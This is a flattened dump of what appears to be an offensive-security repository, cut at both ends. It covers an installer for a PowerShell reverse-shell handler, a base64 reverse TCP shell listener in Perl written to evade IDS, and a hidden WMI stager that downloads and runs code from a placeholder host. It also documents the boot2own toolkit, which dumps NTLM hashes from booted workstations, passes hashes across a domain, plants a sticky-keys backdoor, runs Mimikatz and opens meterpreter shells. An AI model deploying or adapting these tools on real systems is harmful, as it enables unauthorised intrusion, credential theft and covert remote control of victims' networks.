lighttpd 138 | get_aptpkg openssl 139 | get_aptpkg perl 140 | get_aptpkg libcgi-application-perl 141 | 142 | ## [ WEB SERVER ] ######### 143 | 144 | cat ./lighttpd.conf > /etc/lighttpd/lighttpd.conf 145 | mkdir /etc/lighttpd/ssl 146 | folder_perm /etc/lighttpd/ssl 147 | openssl req -new -x509 -keyout /etc/lighttpd/ssl/server.pem -out /etc/lighttpd/ssl/server.pem -days 365 -nodes 148 | keyprint=$(openssl x509 -in /etc/lighttpd/ssl/server.pem -fingerprint -noout | cut -d'=' -f2 | tr -d : ) 149 | 150 | 151 | ## [ MOVING FILES ] ####### 152 | 153 | # cleaning up default files generated upon installation 154 | rm -rf /var/www/* 155 | 156 | echo "[*] Placing shell handler in web root folder with randomized name [ /var/www ]" 157 | rname=$(rstr_short) 158 | cp cgi-shell-handler.pl /var/www/$rname.pl 159 | 160 | echo "[*] Placing client in web root folder with randomized name [ /var/www ]" 161 | rclient=$(rstr_short) 162 | cp async-client.ps1 /var/www/$rclient 163 | cat > /var/www/index.html < /var/async-shell/systems/init-pass 178 | 179 | folder_perm /var/async-shell 180 | folder_perm /var/async-shell/ps-scripts 181 | folder_perm /var/async-shell/systems 182 | 183 | service lighttpd restart 184 | 185 | echo "[]=========================================================================[]" 186 | echo "[] IMPORTANT---IMPORTANT---IMPORTANT---IMPORTANT---IMPORTANT---IMPORTANT" 187 | echo "[]" 188 | echo "[] The name of your shell-handler has been randomized." 189 | echo "[] The name of the async client has been randomized." 190 | echo "[]" 191 | echo "[] Paste this in the async-client.ps1 script renamed as /var/www/$rclient" 192 | echo "[] as { uri } variable" 193 | echo "[]" 194 | echo "[] \$uri = https://your-ip-or-domain/$rname.pl " 195 | echo "[]" 196 | echo "[] Client password needed to be granted access to connect to shell-handler" 197 | echo "[] pass : [ $pass ]" 198 | echo "[]" 199 | echo "[] Paste this in the async-client.ps1 script renamed as /var/www/$rclient" 200 | echo "[] as { key } variable" 201 | echo "[]" 202 | echo "[] \$key = $pass " 203 | echo "[]" 204 | echo "[] The following is the Thumb/finger print of your self-signed certificate" 205 | echo "[] paste in the { certfingerprint } variable " 206 | echo "[]" 207 | echo "[] \$certfingerprint = $keyprint " 208 | echo "[]" 209 | echo "[] The name of the async client has been randomized so use this name for " 210 | echo "[] your IEX download String." 211 | echo "[]" 212 | echo "[] URI: [ https://your-ip-or-domain/$rclient ] " 213 | echo "[]" 214 | echo "[] rock n roll...." 215 | echo "[]==========================================================================[]" 216 | 217 | exit 0 218 | -------------------------------------------------------------------------------- /async-shell-handler/lighttpd.conf: -------------------------------------------------------------------------------- 1 | server.modules = ( 2 | "mod_access", 3 | "mod_alias", 4 | "mod_compress", 5 | "mod_redirect", 6 | "mod_cgi", 7 | "mod_rewrite", 8 | ) 9 | 10 | server.document-root = "/var/www/" 11 | server.upload-dirs = ( "/var/cache/lighttpd/uploads" ) 12 | server.errorlog = "/var/log/lighttpd/error.log" 13 | server.breakagelog = "/var/log/lighttpd/breakage.log" 14 | server.pid-file = "/var/run/lighttpd.pid" 15 | server.username = "www-data" 16 | server.groupname = "www-data" 17 | 18 | # Enable network white list to insure only desired networks connect 19 | # This server, example white listed network is 10.0.0.0/8 20 | # $SERVER["socket"] == ":443" { 21 | # $HTTP["remoteip"] != "10.0.0.0/8" { url.access-deny = ( "" ) } 22 | # } 23 | 24 | server.port = 443 25 | ssl.engine = "enable" 26 | ssl.pemfile = "/etc/lighttpd/ssl/server.pem" 27 | ssl.honor-cipher-order = "enable" 28 | ssl.cipher-list = "EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH" 29 | ssl.use-compression = "disable" 30 | ssl.use-sslv2 = "disable" 31 | ssl.use-sslv3 = "disable" 32 | 33 | index-file.names = ( "index.php", "index.html", 34 | "index.htm", "default.htm") 35 | 36 | url.access-deny = ( "~", ".inc" ) 37 | 38 | 39 | cgi.assign = ( ".pl" => "/usr/bin/perl", 40 | ".cgi" => "/usr/bin/perl", 41 | ".x" => "/usr/bin/perl", 42 | ".py" => "/usr/bin/python" ) 43 | 44 | mimetype.assign = ( 45 | ".pdf" => "application/pdf", 46 | ".mp3" => "audio/mpeg", 47 | ".ogg" => "application/ogg", 48 | ".gif" => "image/gif", 49 | ".jpg" => "image/jpeg", 50 | ".jpeg" => "image/jpeg", 51 | ".png" => "image/png", 52 | ".html" => "text/html", 53 | ".htm" => "text/html", 54 | ".text" => "text/plain", 55 | ".txt" => "text/plain", 56 | ".dtd" => "text/xml", 57 | ".xml" => "text/xml", 58 | ".mpeg" => "video/mpeg", 59 | ".mpg" => "video/mpeg" ) 60 | 61 | 62 | static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" ) 63 | 64 | dir-listing.encoding = "utf-8" 65 | server.dir-listing = "disable" 66 | -------------------------------------------------------------------------------- /base64-tcp-shell/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /base64-tcp-shell/README.md: -------------------------------------------------------------------------------- 1 | # b64 tcp client 2 | 3 | Provides a variant of the tcp powershell client that encodes the TCP traffic with custom base64 4 | encoding. This should help evade some IDS egress detection methods without having to resort 5 | to using SSL, Webserver, C2, blah, blah, blah... 6 | 7 | Just a system that can run Perl :D 8 | 9 | To use start the Perl listener [->] ./b64-tcp-handler.pl [ specify port to listen on ] 10 | 11 | Edit the b64-tcp-client.ps1 script, see below 12 | 13 | ``` 14 | ##################[ CONFIG CONNECTION ]#################### 15 | 16 | #[->] Enter the ip address and port information here 17 | 18 | $IPAddress = '192.168.0.15' # [->] Change this example 19 | $Port = '443' # [->] Change this example 20 | 21 | ########################################################### 22 | 23 | ``` 24 | 25 | Get the client to execute on target system somehow, "gen-obfuscated" and wait for your shell. 26 | -------------------------------------------------------------------------------- /base64-tcp-shell/b64-tcp-handler.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # Simple base64 encoded tcp listener for 4 | # use with the base64 encoded reverse 5 | # tcp powershell implant "b64-tclient.ps1" 6 | # 7 | # part of the Fathomless Project 8 | # xor-function 9 | # 10 | 11 | use strict; 12 | use warnings; 13 | use MIME::Base64; 14 | use IO::Socket::INET; 15 | 16 | sub banner { 17 | 18 | print "\n[+]=============================================================[+]"; 19 | print "\n[+] base64 reverse tcp shell handler [+]"; 20 | print "\n[+] [+]"; 21 | print "\n[+] Fathomless Project xor-function [+]"; 22 | print "\n[+]=============================================================[+]\n"; 23 | 24 | } 25 | 26 | sub usage { 27 | 28 | print "[!] usage : ./b64-encodedtcp.pl [ port-number-to-listen-on ] \n"; 29 | exit(0); 30 | } 31 | 32 | 33 | sub enc_string { 34 | 35 | my $string = $_[0]; 36 | my $enc_string = encode_base64($string); 37 | 38 | return $enc_string; 39 | 40 | } 41 | 42 | sub dec_string { 43 | 44 | my $raw_string = $_[0]; 45 | my $text = decode_base64($raw_string); 46 | 47 | return $text; 48 | } 49 | 50 | # decodes a base64 string with subtituded characters. 51 | sub enc_desub { 52 | 53 | my $raw_string = $_[0]; 54 | 55 | $raw_string =~ tr/!/=/; 56 | $raw_string =~ tr/_/\//; 57 | $raw_string =~ tr/-/+/; 58 | 59 | my $dec_string = decode_base64($raw_string); 60 | 61 | return $dec_string; 62 | } 63 | 64 | # encodes a base64 string with subtituded characters. 65 | sub enc_sub { 66 | 67 | my $enc_string = $_[0]; 68 | 69 | $enc_string =~ tr/=/!/; 70 | $enc_string =~ tr/\//_/; 71 | $enc_string =~ tr/+/-/; 72 | 73 | return $enc_string; 74 | 75 | } 76 | 77 | sub main { 78 | 79 | banner(); 80 | 81 | #[->] limit arguments 82 | if ( @_ < 1 || @_ > 1 ) { usage(); } 83 | 84 | my $port = $_[0]; 85 | 86 | #[->] test argument 87 | unless ( $port =~ /[0-9]/ ) { print "[!] The port provided is not a valid number!"; usage(); } 88 | 89 | print "[+] listening on port : $port \n"; 90 | 91 | #[->] Keep pipes hot 92 | $| = 1; 93 | 94 | #[->] Constructor of IO:Socket::INET object 95 | my $socket = new IO::Socket::INET ( LocalHost => '0.0.0.0', 96 | LocalPort => "$port", 97 | Proto => 'tcp', 98 | Type => SOCK_STREAM, 99 | Listen => 5, 100 | KeepAlive => 1, 101 | ) or die "ERROR in Socket Creation : $! \n"; 102 | 103 | 104 | #[->] wait for new client connection. 105 | my $client_socket = $socket->accept(); 106 | 107 | #[->] get the host and port number of new client. 108 | my $client_addr = $client_socket->peerhost(); 109 | my $client_port = $client_socket->peerport(); 110 | 111 | print "[!] New Client Connection From [ $client_addr : $client_port ]\n"; 112 | 113 | while ($client_socket) 114 | { 115 | 116 | #[->] Reading encoded tcp data 117 | my $enc_sub_rdata = ''; 118 | $client_socket->recv($enc_sub_rdata,2048); 119 | 120 | my $rdata = enc_desub($enc_sub_rdata); 121 | 122 | # print "$rdata"; 123 | my $clr_rdata = dec_string($rdata); 124 | print $clr_rdata; 125 | 126 | #[->] Encoding text before transport 127 | my $sdata = ''; 128 | $sdata = ; 129 | my $enc_sdata = enc_string($sdata); 130 | 131 | my $enc_sub_sdata = enc_sub($enc_sdata); 132 | $client_socket->send($enc_sub_sdata); 133 | 134 | #[->] notify client that response has been sent 135 | # shutdown($client_socket, 1); 136 | 137 | } 138 | 139 | $socket->close(); 140 | 141 | } 142 | 143 | main(@ARGV); 144 | -------------------------------------------------------------------------------- /base64-tcp-shell/wmi-stager.vbs: -------------------------------------------------------------------------------- 1 | ' Concept, this is not metamorphic and is susceptible to signatures so use this as a reference 2 | ' xor-function 3 | 4 | ' Initialize wmi service, make sure to change the download string domain/ip address 5 | Const HIDDEN_WINDOW = 0 6 | strComputer = "." 7 | strCommand = "powershell -w hidden -c ""&{[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};iex(New-Object System.Net.Webclient).DownloadString('https://your-ip_address-or-domain/b64-tclient')}""" 8 | set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") 9 | 10 | ' Prevent popups 11 | set objStartup = objWMIService.Get("Win32_ProcessStartup") 12 | set objConfig = objStartup.SpawnInstance_ 13 | objConfig.ShowWindow = HIDDEN_WINDOW 14 | 15 | ' Create Process 16 | set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") 17 | objProcess.Create strCommand, Null, objConfig, intProcessID 18 | -------------------------------------------------------------------------------- /boot2own/ABOUT: -------------------------------------------------------------------------------- 1 | The gist of this code. 2 | 3 | SUMMARY 4 | B2O is a toolkit that generates a live OS from a crunchbang iso. From this live 5 | environment attacks are performed on the HDD to gain NTLM hashes to leverage in 6 | additional attacks against a network. 7 | 8 | Used crunchbang-11-20130506-i686.iso successfully to 9 | generate liveCD. 10 | 11 | Used Ubuntu Server x86 12.04 successfully to compile patched winexe 12 | So use Ubuntu Server/Desktop x86 12.04 to compile binary for i686 13 | crunchbang iso. 14 | 15 | Tested only on Hard drive with Windows 7 installed 16 | 17 | 18 | SHELL SCRIPTS: 19 | 20 | b2o-compile.sh 21 | compiles the patch winexe binaries that allow 22 | hash passing 23 | 24 | b2o-isogen.sh 25 | uses a crunchbang iso to generate a remastered 26 | iso live OS (B2O) with the automated attack tools. 27 | 28 | b2o-pxe.sh 29 | Creates a pxe server that serves the remastered 30 | B2O live OS. 31 | 32 | b2o-listener.sh 33 | starts a meterpreter listener with the configured 34 | options to msfconsole, use with option 3 in the 35 | B2O live OS. 36 | 37 | (Requires Metaspliot to be installed along with 38 | system_migrate.rb) 39 | 40 | b2o-autopwn.sh 41 | Attack engine, this script only runs in the 42 | live OS environment and provides a terminal 43 | menu with automated attack options. 44 | 45 | 46 | LIVE OS: 47 | 48 | The live OS chosen is CrunchBang Linux (I like it) 49 | The live filesystem is a squashfs filesystem. 50 | To remaster/mod it install squashfs-tools and genisoimage. 51 | To make a live USB use Unetbootin as the dd method fails. 52 | 53 | The expanded filesystem.squashfs was mounted an chrooted into 54 | to install the following packages: 55 | 56 | arp-scan 57 | lighttpd 58 | 59 | The core files that make the B2O live environment: 60 | 61 | /root/ 62 | │ 63 | └─ boot-2-own/ 64 | ├── b2o-autopwn.sh 65 | ├── creddump/ 66 | │ ├── cachedump.py 67 | │ ├── CHANGELOG 68 | │ ├── COPYING 69 | │ ├── framework 70 | │ ├── lsadump.py 71 | │ ├── pwdump.py 72 | │ └── README 73 | ├── CREDITS-B2O 74 | └── pwinexe 75 | /var/ 76 | │ 77 | └─www/ 78 | ├── pld2 79 | └── pld3 80 | 81 | A terminator shell is loaded on boot by modding (/etc/skel/.config/openbox/autostart) 82 | 83 | the following line was appended to the autostart file: 84 | ---------------------------------------------------------------------------------------- 85 | terminator --geometry=750x600 -e 'sudo /bin/bash -c /root/boot-2-own/b2o-autopwn.sh' & 86 | ---------------------------------------------------------------------------------------- 87 | 88 | Once B2O is booted up on a domain computer it b2o-autopwn.sh automatically 89 | mounts the hard drive and then reads the local hashes using 90 | creddump (written by Brendan Dolan-Gavitt). 91 | 92 | Booting a live OS on a computer can be done by a USB device but a more promising method 93 | is PXE. This is practical as it is simple to make an arm SoC (beagle bone/Rasp Pi) 94 | serve B2O over PXE. Also there is no need to leave any physical media attached 95 | to the used PC after the OS is loaded into RAM. Once booted it singles out the 96 | local administration user name and it's corresponding NTLM hash and imports 97 | these as variables. 98 | 99 | Winexe is the one of the only programs that enable cli interaction with 100 | Windows computers from Linux. Unlike Psexec it does not pass hashes I used the 101 | samba-hashpass.patch from the smbexec project (Eric Milam & Martin Bos) 102 | and created a custom build/compile script to create a patched winexe binary 103 | (rename to pwinexe to prevent confusion). 104 | 105 | Now the user and hash variables can then be passed to a function using pwinexe for 106 | additional machine access. 107 | 108 | The patched winexe also has the option to run as SYSTEM along with 109 | the option to uninstall itself from the machine upon command completion. 110 | 111 | 112 | 113 | POST EXPLOITATION 114 | 115 | Once the Local admin username and hash are retrieved b2o-autopwn.sh 116 | it acquires the ip address of other computers in the LAN using arp-scan. 117 | 118 | Once this is done you are presented with payload options for pwinexe. 119 | 120 | I chose powershell as the attacks can be completely in memory. This makes forensics 121 | and IR quite difficult especially since the attack platform itself is in memory (boot disk/PXE). 122 | 123 | This seems to be the least likely method to be caught by AV solutions. Although to reduce 124 | the chance of detection further one can try obfuscation, base64 encoding after 125 | adding unused random variables into the command string. 126 | 127 | The PS payloads used in B2O are Invoke-Mimikatz (written by Joe Bialek) and 128 | Invoke-Shellcode (written by Matthew Graeber) both are part of PowerSploit. More details 129 | about theses scripts are located in the credits. 130 | 131 | To use these payloads without writing to disk, they must not be copied over prior to 132 | use. To insure the powershell payloads are only run in memory I employed a lighttpd 133 | webserver to host the payloads. Now they can be retrieved and copied to an expression 134 | or variable in memory before execution. 135 | 136 | The Auto-Off option: 137 | This is an optional feature that powers off the live OS Session after a selected payload 138 | finishes performing an execution run on the detected IP's in the LAN. This can be 139 | useful as one can turn off the monitor then leave and let the live OS session power 140 | itself off after it finishes it's run. 141 | 142 | Invoke-Mimikatz 143 | reflectively loads Mimikatz in memory using powershell allowing 144 | the ability to acquire plain text passwords the results are copied to the file 145 | 146 | /root/loot in the B2O live file system 147 | 148 | To rsync/http-put-get through tor/i2p/etc.. this file to an external server just append 149 | the necessary code before the while loop ends at the bottom of b2o-autopwn.sh. 150 | 151 | Invoke-Shellcode 152 | makes it possible to have reverse system shells connect to 153 | the specified IP or domain. 154 | 155 | It depends on MSF windows/meterpreter/reverse_https 156 | shell multi handler. 157 | 158 | It also depends on a modified version of smart_migrate, a Metasploit manage module. 159 | The modified module is named system_migrate.rb and is included in the folder. 160 | 161 | It's priority is to migrate out of powershell to an existing NT AUTHORITY/ SYSTEM 162 | process to maintain this permissions level. If it is not able to migrate out of 163 | powershell the patched winexe process will hang as powershell remains active. 164 | 165 | 166 | 167 | CAVEATS 168 | All of the following parameters must exist for success. 169 | 170 | The victim network IT Department uses the local administrator user account on domain computers. 171 | There is no hard disk encryption being used on the selected workstation. 172 | Their workstations boot to PXE OR their BIOS is unlocked. 173 | 174 | 175 | 176 | 177 | 178 | 179 | xor-function 180 | nightowlconsulting.com 181 | -------------------------------------------------------------------------------- /boot2own/COPYING: -------------------------------------------------------------------------------- 1 | Copyright (C) 2014 xor-function 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, 5 | are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, 8 | this list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | * Neither the name of boot2own nor the names of its contributors 15 | may be used to endorse or promote products derived from this software 16 | without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 19 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 20 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 21 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 22 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 24 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 25 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 26 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 27 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | 29 | ================================================================================ 30 | 31 | boot2own-1.0 is provided under the 3-clause BSD license above. 32 | 33 | This license does not apply to several components within the boot2own-1.0 34 | source tree. For more details see the LICENSE file. 35 | -------------------------------------------------------------------------------- /boot2own/CREDITS-B2O: -------------------------------------------------------------------------------- 1 | BOOT 2 OWN 2 | 3 | The people behind the following code/projects 4 | made this possible: 5 | 6 | Crunchbang Linux Developers 7 | crunchbang.org 8 | 9 | creddump : http://code.google.com/p/creddump 10 | Author: Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu) 11 | 12 | winexe : http://sourceforge.net/users/ahajda 13 | Author: Ahajda 14 | 15 | smbclient/winexe Hash Passing patch: 16 | JoMo-kun http://www.foofus.net/~jmk/passhash.html 17 | Patch updated for Samba 3.6.12 by exfil (Emilio Escobar) 18 | 19 | smbwinexe : https://github.com/pentestgeek/smbexec 20 | Authors: Eric Milam (Brav0Hax) & Martin Bos (Purehate) 21 | 22 | Invoke-Shellcode : https://github.com/mattifestation/PowerSploit 23 | Author: Matthew Graeber (@mattifestation) 24 | 25 | Invoke-Mimikatz : https://github.com/mattifestation/PowerSploit 26 | Author: Joe Bialek, Twitter: @JosephBialek 27 | Mimikatz Author: Benjamin DELPY (gentilkiwi). Blog: http://blog.gentilkiwi.com. 28 | 29 | smart_migrate.rb : Metasploit Framework post exploitation module 30 | Author: thelightcosine 31 | 32 | The Metasploit Framework Developers for meterpreter shell multihandlers 33 | www.metaploit.com 34 | -------------------------------------------------------------------------------- /boot2own/README.md: -------------------------------------------------------------------------------- 1 | # The boot2own toolkit 2 | 3 | B2O is a toolkit that generates a live OS from a crunchbang 4 | iso. When a workstation is booted to this live environment 5 | it's hard drive is mounted and the NTLM hash of the 6 | local admin (RID 500) is extracted. The admin hash is then 7 | leveraged in attacks against a Windows domain network using a 8 | patched winexe binary. 9 | 10 | Used crunchbang-11-20130506-i686.iso successfully to 11 | generate liveCD. 12 | 13 | Used Ubuntu Server x86 12.04 successfully to compile patched winexe 14 | So use Ubuntu Server/Desktop x86 12.04 to compile binary for i686 15 | crunchbang iso. 16 | 17 | Confirmed working on Windows 7 only. 18 | 19 | ### todo 20 | * Add Plop boot manager to PXE generation script. 21 | * have Ramboot/Copy2ram functionality to generated iso, to aid live USB function. 22 | * Add additonal payloads 23 | * Add UEFI support (meaning there is no current UEFI support) 24 | 25 | ## Demo 26 | The following link has a demo iso that was generated with this kit. 27 | Don't take my word for it and test it in a Windows VM that is apart 28 | of a virtualized test domain. 29 | 30 | [Get demo here](http://www.mediafire.com/download/x18jv9h8voxh7jl/boot2own-demo.iso). 31 | 32 | create an issue through github if you have any problems. 33 | 34 | ## Video 35 | Watch it in HD to see the details. 36 | 37 | [![video hosted on youtube here](http://img.youtube.com/vi/vUvku_CwKT0/hqdefault.jpg)](https://www.youtube.com/embed/vUvku_CwKT0?autoplay=1&vq=hd720) 38 | 39 | ## Build Scripts 40 | Run these scripts inside the boot2own/ folder to prevent 41 | any odd issue from appearing. 42 | * b2o-compile.sh - compiles a patched winexe binary 43 | * b2o-isogen.sh - generates the live environment from a CrunchBang iso 44 | * b2o-pxe.sh - sets up a pxe server using the newly generated iso 45 | 46 | ## Compile winexe 47 | Insure that you are using a x86 Ubuntu 12.04 / Crunchbang computer for 48 | compiling winexe for the x86 LiveCD. 49 | 50 | First you need to compile a patched winexe version that allows 51 | hash passing. Use the following script inside the boot2own-1.0 folder. 52 | ``` 53 | usage : ./b2o-compile.sh 54 | ``` 55 | If you already have a copy of smbexec installed, rename a 56 | copied smbwinexe to pwinexe and place it in. 57 | 58 | boot2own/live-files/boot-2-own/pwinexe 59 | 60 | Note: a x64 binary will not work. 61 | 62 | ## Generate iso image 63 | To generate a boot2own liveCD for yourself you will need to have 64 | a copy of a Crunchbang iso. The build scripts have been sucessfully 65 | tested on image crunchbang-11-20130506-i686.iso 66 | 67 | to generate the boot2own live OS from the crunchbange iso use 68 | the following script with the CB iso as an argument. 69 | ``` 70 | usage: ./b2o-isogen.sh crunchbang-11-20130506-i686.iso 71 | ``` 72 | This will remaster the crunchbang iso to become the b2o live OS. 73 | the iso will be saved to boot2own/b2o-remaster/boot2own.iso 74 | 75 | 76 | ### PXE Server 77 | sets up a pxe server on a Beagle Bone black, 78 | Raspberry Pi or any hardware that has a Debian based OS. 79 | The script installs syslinux, dnsmasq and configures it to run 80 | as a PXE server. It then extracts the needed files from the 81 | boot2own.iso image file in order to boot it with PXE over a LAN. 82 | 83 | It is preferable to use a device that has a gigabit Ethernet port. 84 | 85 | To install run as ROOT 86 | ``` 87 | ./b2o-pxe.sh boot2own.iso 88 | ``` 89 | Default network settings in b2o-pxe.sh 90 | 91 | eth0 10.0.0.1 92 | netmask 255.255.255.0 93 | 94 | ## Live Environment Options 95 | 96 | Tested on hard drives with Windows 7 installed. 97 | * If the hard drive is encrypted B2O will fail. 98 | * If no Windows file system is detected the LiveCD OS will power off. 99 | 100 | Boot computer by USB/CD/PXE 101 | You will then be presented with the following options. 102 | 103 | ### [1] Sethc Backdoor 104 | This option overwrites sethc.exe with cmd.exe, 105 | known as the sticky keys bypass. This enables one to 106 | activate a system cmd prompt when pressing the Shift 107 | keys 5 times at the Windows login screen. To reverse 108 | the process just run this option again on the same 109 | computer. 110 | 111 | ### [2] Mimikatz 112 | Option named after the program Mimikatz. It is delivered 113 | using a PowerShell script "Invoke-Mimikatz" (part of the 114 | PowerSploit toolkit) that loads the program reflectively 115 | into memory and then executes it, giving you clear text 116 | credentials. For more info read the contents of 117 | boot2own/live-files/pld2, also visit the program authors 118 | blog and the Github repo that host PowerSploit(read ABOUT CREDITS-B2O). 119 | The Output from this option is stored in a file [ /root/loot ] 120 | 121 | ### [3] Invoke-Shellcode 122 | A script that is apart of PowerSploit toolkit, executes 123 | a reverse https meterpreter shell back to the specified IP 124 | or domain. For this to work you will need to use the 125 | MetaSploit Framework to have a multi handler ready and 126 | waiting for a connection. 127 | 128 | Setting up the multi handler: 129 | 130 | Use an metasploit rc script 131 | 132 | ``` 133 | use multi/handler 134 | set payload windows/meterpreter/reverse_https 135 | set LHOST "YOUR IP OR DOMAIN" 136 | set LPORT 443 137 | set ExitOnSession false 138 | set AutoRunScript post/windows/manage/system_migrate 139 | exploit -j 140 | ``` 141 | execute this file 142 | msfconsole -r listener.rc 143 | 144 | Note : system_migrate 145 | system_migrate is a modified version of smart_migrate, it's 146 | priority is to migrate out of powershell to an existing 147 | SYSTEM/NT AUTHORITY process to maintain this permissions level. 148 | If this is not done The patched winexe process will hang as 149 | powershell remains active. 150 | 151 | to get this moded module working copy system_migrate.rb to 152 | 153 | metasploit-framework/modules/post/windows/manage/ 154 | 155 | Do not forget to check permissions. 156 | 157 | b2o-listener.sh 158 | Optional - if you already have the metasploit-framework 159 | installed and it is in your terminals PATH along with 160 | having the system_migrate.rb in the appropriate directory. 161 | You can use this shell script to start MSF and drop 162 | you directly into a multi handler configured to 163 | receive shells from b2o's option 3. 164 | ``` 165 | usage : ./b2o-listener.sh lhost-IP 166 | ``` 167 | Note : Invoke-Shellcode 168 | For author info and program details read the ABOUT 169 | and CREDITS-B2O. 170 | 171 | Note : Proxies 172 | SYSTEM will ignore IE proxy settings so if a network uses 173 | a web application proxy (has good egress filtering) 174 | you will not get your shell and may possibly hang up 175 | a B2O execution run. 176 | 177 | 178 | ### [4] PS URL 179 | This option passes a powershell command string that downloads 180 | the contents of a target url to a powershell variable and 181 | then invokes the variable contents as an expression "IEX". 182 | This can be leveraged by your own custom powershell script 183 | that you wish to be executed remotely there is no need to 184 | enable remoting as you are passing the parameters 185 | through the patched winexe program. 186 | 187 | ### [5] Windows cli 188 | This option passes a command that is executed directly by 189 | winexe on victim machines, this option is whatever you make it. 190 | 191 | ### [6] Show Credits 192 | Shows Credits 193 | 194 | ### [7] Shut Down Live session 195 | Self explanitory 196 | 197 | ## exfil 198 | 199 | For the payload options [ 2 - 5 ] 200 | the output/result of each successful execution run is saved in a file 201 | 202 | located: /root/loot (in the Live OS) 203 | how to exfil it, is up to you. 204 | 205 | For ideas look at my git repo black-hole. 206 | -------------------------------------------------------------------------------- /boot2own/b2o-compile.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # b2o-compile.sh compiles a patch winexe binary that has the ablity of 4 | # passing NTLM hashes. 5 | # 6 | # b2o-compile.sh is part of boot2own-1.0 7 | # boot2own-1.0 creates rapid automated attacks that takes 8 | # advantage of unauthorized physical access to Windows workstations. 9 | # 10 | # copyright (C) 2014 xor-function 11 | # license BSD-3 12 | # 13 | #-------------------------------------------------------------------- 14 | 15 | # func requires argument 16 | get_aptpkg() { 17 | 18 | tpkg=$(dpkg -s $1 | grep "install ok install") 19 | if [ -z "$tpkg" ]; then 20 | 21 | if [ -z $aptup ]; then 22 | # rm -rf /var/lib/apt/lists/* 23 | apt-get update 24 | aptup=1 25 | fi 26 | 27 | echo "[*] installing $1" 28 | if ! apt-get -y install $1; then 29 | echo "[!] APT failed to install "$1", are your repos working? Exiting..." 30 | exit 1 31 | fi 32 | else 33 | echo "[+] $1 is already installed" 34 | fi 35 | 36 | } 37 | 38 | get_permission() { 39 | while true; do 40 | read -e answer 41 | case $answer in 42 | [Yy] ) break;; 43 | [Yy][eE][sS] ) break;; 44 | [nN] ) printf "\nExiting Now \n"; exit;; 45 | [Nn][oO] ) printf "\nExiting Now \n"; exit;; 46 | * ) printf "\nNot Valid, Answer y or n\n";; 47 | esac 48 | done 49 | } 50 | 51 | # func requires args: username 52 | chk_usr() { 53 | if [ "$(whoami)" != "$1" ]; then 54 | echo "[!] you need to be root, exiting..." 55 | exit 56 | fi 57 | } 58 | 59 | chk_tubes() { 60 | echo "[*] Checking your tubes..." 61 | if ! ping -c 1 google.com > /dev/null 2>&1 ; then 62 | if ! ping -c 1 yahoo.com > /dev/null 2>&1 ; then 63 | if ! ping -c 1 bing.com > /dev/null 2>&1 ; then 64 | clear 65 | echo "[!] Do you have an internet connection???" 66 | exit 2 67 | fi 68 | fi 69 | fi 70 | echo "[+] tubes working..." 71 | } 72 | 73 | spath="$( cd "$(dirname "$0")" ; pwd -P )" 74 | chk_usr root 75 | chk_tubes 76 | clear 77 | 78 | echo "WARNINIG----WARNING----WARNING" 79 | echo "This will only compile patched winexe on a Debian distro (Ubuntu/Crunchbang)" 80 | echo "Use on another GNU/Linux distro will most likely fail..." 81 | echo "continue (y/n)?" 82 | get_permission 83 | 84 | if [ -d $spath/srcs/binary/ ]; then 85 | echo "[!] detected binary folder you have run this before, cleaning up..." 86 | rm -rf $spath/srcs/binary/ 87 | fi 88 | 89 | if [ -d $spath/srcs/winexe-waf/ ]; then 90 | echo "[!] detected extracted winexe sources, cleaning up..." 91 | rm -rf $spath/srcs/winexe-waf/ 92 | fi 93 | 94 | echo "[*] installing dependancies..." 95 | mgw64=$(apt-cache search gcc-mingw-w64) 96 | 